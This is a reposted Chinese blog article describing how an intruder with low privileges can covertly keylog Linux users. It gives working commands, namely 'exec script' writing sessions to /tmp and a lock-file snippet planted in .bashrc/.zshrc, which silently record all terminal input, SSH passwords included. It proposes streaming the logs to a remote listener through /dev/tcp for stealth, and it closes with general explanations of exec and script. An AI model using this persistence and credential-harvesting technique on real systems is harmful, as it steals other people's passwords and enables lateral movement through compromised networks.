最新消息:

低权 Linux 键盘记录方案

好的外部文章和内容 admin 181浏览 0评论

前言

拿了几台机器,虽说部分机器有 ROOT,可以直接用之前的 一般路过 PAM 后门 / SSH 密码记录,来替换 PAM,用于记录密码。

然而问题是,目标主机使用了 LDAP,还自己改了改他们的 PAM,所以直接替换 PAM 的方案行不通了。

而且有一个跳板机,我们没有低权限,但是当前用户却会用这台机器连接其他目标,使用的都是一些我们没找到的凭据。

那么有没有什么办法能搞到他们呢?

最开始预想的是用 go,自己写一个,直接起个 pty 直接 io.copy 用户输入和 bash,然后我们监听目标输入就行。

之后在大佬的提拔下。知道了还有 script 这个好东西。

直接一句

exec script /tmp/aaa -aqf
exec script -B /tmp/aaa -aqf

内容会保存在/tmp/aaa文件中

经过测试,SSH输入的密码也能记录。简直就是linux自带后门

然后就是用户登录自动记录的问题了。一开始直接把这个放到.bashrc/.zshrc 下的最后一行,发现并不能 work。

了解了下才发现,这个语句会加载 bashrc 的脚本造成这行代码的递归调用。

说到底就是加载.bashrc,bashrc 运行 script,script 加载 bashrc,bashrc 加载 script 这样循环….

解决方案也很简单。直接在最后一行换成

if [ -f /tmp/script.lock ];then
        rm /tmp/script.lock
else
        echo lock > /tmp/script.lock
        exec script /tmp/test -aqf
fi

 

if [ -f /tmp/script.lock ];then
        rm /tmp/script.lock
else
        echo lock > /tmp/script.lock
        exec script -B /tmp/test -aqf
fi

进阶

本来想着这个 – B 参数能不能用类似 /dev/tcp 这种文件符号直接发送到远端,这样我们只要开着个接收器别人的密码就来了更安全更隐蔽。

目前只是想到了这个方案,但是由于比较忙,没有往下继续进行研究。如果有兴趣的可以互相交流一下,出一个标准的解决文档。

ps:有些机器script命令无-B参数,需要去掉:

 

命令说明

1、exec命令

在Linux下,exec 是一个用于替换当前进程的命令。它的作用是将当前进程(Shell)替换为指定的命令或脚本,从而在执行完该命令或脚本后,不再返回到原来的进程。

具体来说,exec 命令会将指定的命令或脚本加载到当前进程的内存中,并开始执行它们。一旦执行完毕,原来的进程就会被替换,而不会再继续执行原来的命令或脚本。

exec 命令的一些常见用途包括:

  1. 执行其他程序:通过使用 exec 命令,可以在脚本或程序中启动其他程序,并将当前进程替换为该程序。这样可以避免在执行完其他程序后返回到原来的进程。
  2. 重定向标准输入输出:exec 命令可以用于重定向标准输入、输出和错误输出。通过将输入输出重定向到其他文件或设备,可以改变命令或脚本的输入输出行为。
  3. 执行脚本或函数:在脚本中,exec 命令可以用于执行其他脚本文件或函数。这样可以将控制权转移到其他脚本或函数中,并在执行完毕后不返回到原来的脚本。

使用 exec 命令的基本语法如下:

exec [选项] 命令 [参数]

其中,选项可以用于指定不同的行为和配置,命令是要执行的命令或脚本的名称,参数是传递给命令或脚本的参数。

请注意,exec 命令会直接替换当前进程,因此在使用时需要谨慎。确保你了解替换进程的后果,并确保在必要时备份和保存当前进程的状态和数据。

 

2、script命令

在Linux下,script 是一个用于记录终端会话的命令。它的作用是创建一个记录会话的文件,并将终端中的所有输入和输出都保存到该文件中。

具体来说,当你在终端中运行 script 命令时,它会创建一个新的子 shell,并将该子 shell 的输入和输出都重定向到一个指定的文件中。这样,所有在子 shell 中执行的命令、输出的结果以及用户的输入都会被记录下来。

script 命令的一些常见用途包括:

  1. 会话记录:通过记录终端会话,可以将会话的所有操作和输出保存到文件中,以便后续查看或回放。
  2. 脚本记录:当你需要记录一个命令脚本的执行过程时,可以使用 script 命令将脚本的输入和输出保存到文件中,以便后续分析和调试。
  3. 教学和演示:在教学或演示过程中,使用 script 命令可以记录整个终端会话,以便学生或观众可以回放和复习。

使用 script 命令的基本语法如下:

script [选项] [文件名]

其中,选项可以用于指定不同的行为和配置,文件名是要保存会话记录的文件名。如果不指定文件名,则会将记录保存到默认的文件名中(通常是 typescript)。

请注意,script 命令可以帮助记录会话,但也可能记录包含敏感信息的内容。因此,在使用 script 命令时,请确保妥善保护记录文件的访问权限,以防止敏感信息泄露。

 

进程派生关系说明

执行sleep命令后,使用pstree -p显示进程树关系:

执行的命令:

 exec script /tmp/aaa -aqf

可以看到script /tmp/aaa -aqf会派生一次/tmp/aaa -aqf命令,然后会派生bash -i命令,然后在bash -i命令里执行其他命令。

 

 

转自:https://mp.weixin.qq.com/s?__biz=MzkzMDQ5MDM3NA==&mid=2247485968&idx=1&sn=cc51d313f3a3b3d913e960e527cf50b6&chksm=c3527b462ae4cbbf22b4fb5573830693c9b9d01fd0f486caef4d53875f1f7fab9f53406a8961&mpshare=1&scene=1&srcid=1119leUuCJGO1ltrmyX5CiYN&sharer_shareinfo=be52217c46c99555a57cad85c691317a&sharer_shareinfo_first=be52217c46c99555a57cad85c691317a&version=4.1.31.6017&platform=win&nwr_flag=1#wechat_redirect

转载请注明:jinglingshu的博客 » 低权 Linux 键盘记录方案

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址